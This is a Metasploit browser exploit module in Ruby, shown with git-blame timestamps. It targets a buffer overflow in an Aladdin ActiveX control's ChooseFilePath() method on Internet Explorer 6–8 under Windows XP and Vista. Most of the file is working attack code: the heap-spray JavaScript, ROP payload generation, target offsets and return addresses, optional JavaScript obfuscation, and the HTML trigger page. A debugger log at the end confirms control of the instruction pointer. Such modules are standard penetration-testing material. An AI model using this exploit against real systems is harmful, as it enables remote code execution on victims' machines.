2012-10-31 08:32:43 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-31 08:32:43 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Aladdin Knowledge System's
|
|
|
|
ActiveX component. By supplying a long string of data to the ChooseFilePath()
|
|
|
|
function, a buffer overflow occurs, which may result in remote code execution
|
|
|
|
under the context of the user.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'shinnai', #Vulnerability Discovery
|
|
|
|
'b33f', #Original exploit
|
|
|
|
'sinn3r', #Metasploit
|
|
|
|
'juan vazquez' #Metasploit, IE8 target
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '86723' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'EDB', '22258' ],
|
|
|
|
[ 'EDB', '22301' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'StackAdjustment' => -3500
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2013-11-11 23:01:09 +00:00
|
|
|
'BrowserRequirements' =>
|
|
|
|
{
|
|
|
|
:source => /script|headers/i,
|
2015-03-24 00:34:24 +00:00
|
|
|
:activex => [
|
|
|
|
{
|
2015-03-25 18:39:34 +00:00
|
|
|
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
|
|
|
method: "ChooseFilePath"
|
2015-03-24 00:34:24 +00:00
|
|
|
}
|
|
|
|
],
|
2014-05-28 19:35:22 +00:00
|
|
|
:os_name => OperatingSystems::Match::WINDOWS,
|
2013-11-11 23:01:09 +00:00
|
|
|
},
|
2013-08-30 21:28:54 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
2013-11-11 23:01:09 +00:00
|
|
|
[
|
|
|
|
'Windows XP with IE 6',
|
|
|
|
{
|
2014-05-28 19:35:22 +00:00
|
|
|
'os_name' => OperatingSystems::Match::WINDOWS_XP,
|
2013-11-11 23:01:09 +00:00
|
|
|
'ua_name' => 'MSIE',
|
|
|
|
'ua_ver' => '6.0',
|
|
|
|
'Rop' => false,
|
|
|
|
'Offset' => '0x5F4',
|
|
|
|
'Ret' => 0x0c0c0c0c
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
2013-11-11 23:01:09 +00:00
|
|
|
[
|
|
|
|
'Windows XP with IE 7',
|
|
|
|
{
|
2014-05-28 19:35:22 +00:00
|
|
|
'os_name' => OperatingSystems::Match::WINDOWS_XP,
|
2013-11-11 23:01:09 +00:00
|
|
|
'ua_name' => 'MSIE',
|
|
|
|
'ua_ver' => '7.0',
|
|
|
|
'Rop' => false,
|
|
|
|
'Offset' => '0x5F4',
|
|
|
|
'Ret' => 0x0c0c0c0c
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
2013-11-11 23:01:09 +00:00
|
|
|
[
|
|
|
|
'Windows XP with IE 8',
|
|
|
|
{
|
2014-05-28 19:35:22 +00:00
|
|
|
'os_name' => OperatingSystems::Match::WINDOWS_XP,
|
2013-11-11 23:01:09 +00:00
|
|
|
'ua_name' => 'MSIE',
|
|
|
|
'ua_ver' => '8.0',
|
|
|
|
'Rop' => true,
|
|
|
|
'Offset' => '0x5f6',
|
|
|
|
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
2013-11-11 23:01:09 +00:00
|
|
|
[
|
|
|
|
'Windows Vista with IE 7',
|
|
|
|
{
|
2014-05-28 19:35:22 +00:00
|
|
|
'os_name' => OperatingSystems::Match::WINDOWS_VISTA,
|
2013-11-11 23:01:09 +00:00
|
|
|
'ua_name' => 'MSIE',
|
|
|
|
'ua_ver' => '7.0',
|
|
|
|
'Rop' => false,
|
|
|
|
'Offset' => '0x5F4',
|
|
|
|
'Ret' => 0x0c0c0c0c
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
]
|
2013-11-11 23:01:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Apr 1 2012",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2013-11-11 23:05:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
|
|
], self.class
|
|
|
|
)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
def ie_heap_spray(p)
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
|
|
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
# Land the payload at 0x0c0c0c0c
|
|
|
|
|
|
|
|
js = %Q|
|
|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
|
|
var code = unescape("#{js_code}");
|
|
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
2013-11-11 23:01:09 +00:00
|
|
|
var offset = nops.substring(0, #{get_target['Offset']});
|
2013-08-30 21:28:54 +00:00
|
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
|
|
heap_obj.gc();
|
|
|
|
for (var i=1; i < 0x300; i++) {
|
|
|
|
heap_obj.alloc(block);
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
2013-11-11 23:05:54 +00:00
|
|
|
|
|
|
|
if datastore['OBFUSCATE']
|
|
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
|
|
js.obfuscate
|
|
|
|
end
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return js
|
|
|
|
end
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
def exploit_template(cli, target_info)
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
if get_target['Rop']
|
|
|
|
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2013-11-11 23:01:09 +00:00
|
|
|
p = get_payload(cli, target_info)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
spray = ie_heap_spray(p)
|
|
|
|
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
html_template = %Q|
|
2013-08-30 21:28:54 +00:00
|
|
|
<html>
|
|
|
|
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
|
|
|
|
<script>
|
2013-11-11 23:01:09 +00:00
|
|
|
<%=spray%>
|
2013-08-30 21:28:54 +00:00
|
|
|
junk='';
|
|
|
|
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
|
2013-11-11 23:01:09 +00:00
|
|
|
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
|
2013-08-30 21:28:54 +00:00
|
|
|
</script>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
return html_template, binding()
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2013-11-11 23:01:09 +00:00
|
|
|
def on_request_exploit(cli, request, target_info)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending HTML...")
|
2013-11-11 23:01:09 +00:00
|
|
|
send_exploit_html(cli, exploit_template(cli, target_info))
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-10-31 08:32:43 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-11-11 23:09:41 +00:00
|
|
|
=begin
|
|
|
|
0:008> g
|
|
|
|
(82c.12dc): Access violation - code c0000005 (first chance)
|
|
|
|
First chance exceptions are reported before any exception handling.
|
|
|
|
This exception may be expected and handled.
|
|
|
|
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
|
|
|
|
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
|
|
OLEAUT32!SysReAllocStringLen+0x31:
|
|
|
|
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
|
|
|
|
0:008> g
|
|
|
|
(82c.12dc): Access violation - code c0000005 (first chance)
|
|
|
|
First chance exceptions are reported before any exception handling.
|
|
|
|
This exception may be expected and handled.
|
|
|
|
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
|
|
|
|
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
|
|
0c0c0c0c ?? ???
|
|
|
|
0:008> db 020bf798
|
|
|
|
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
|
|
|
=end
|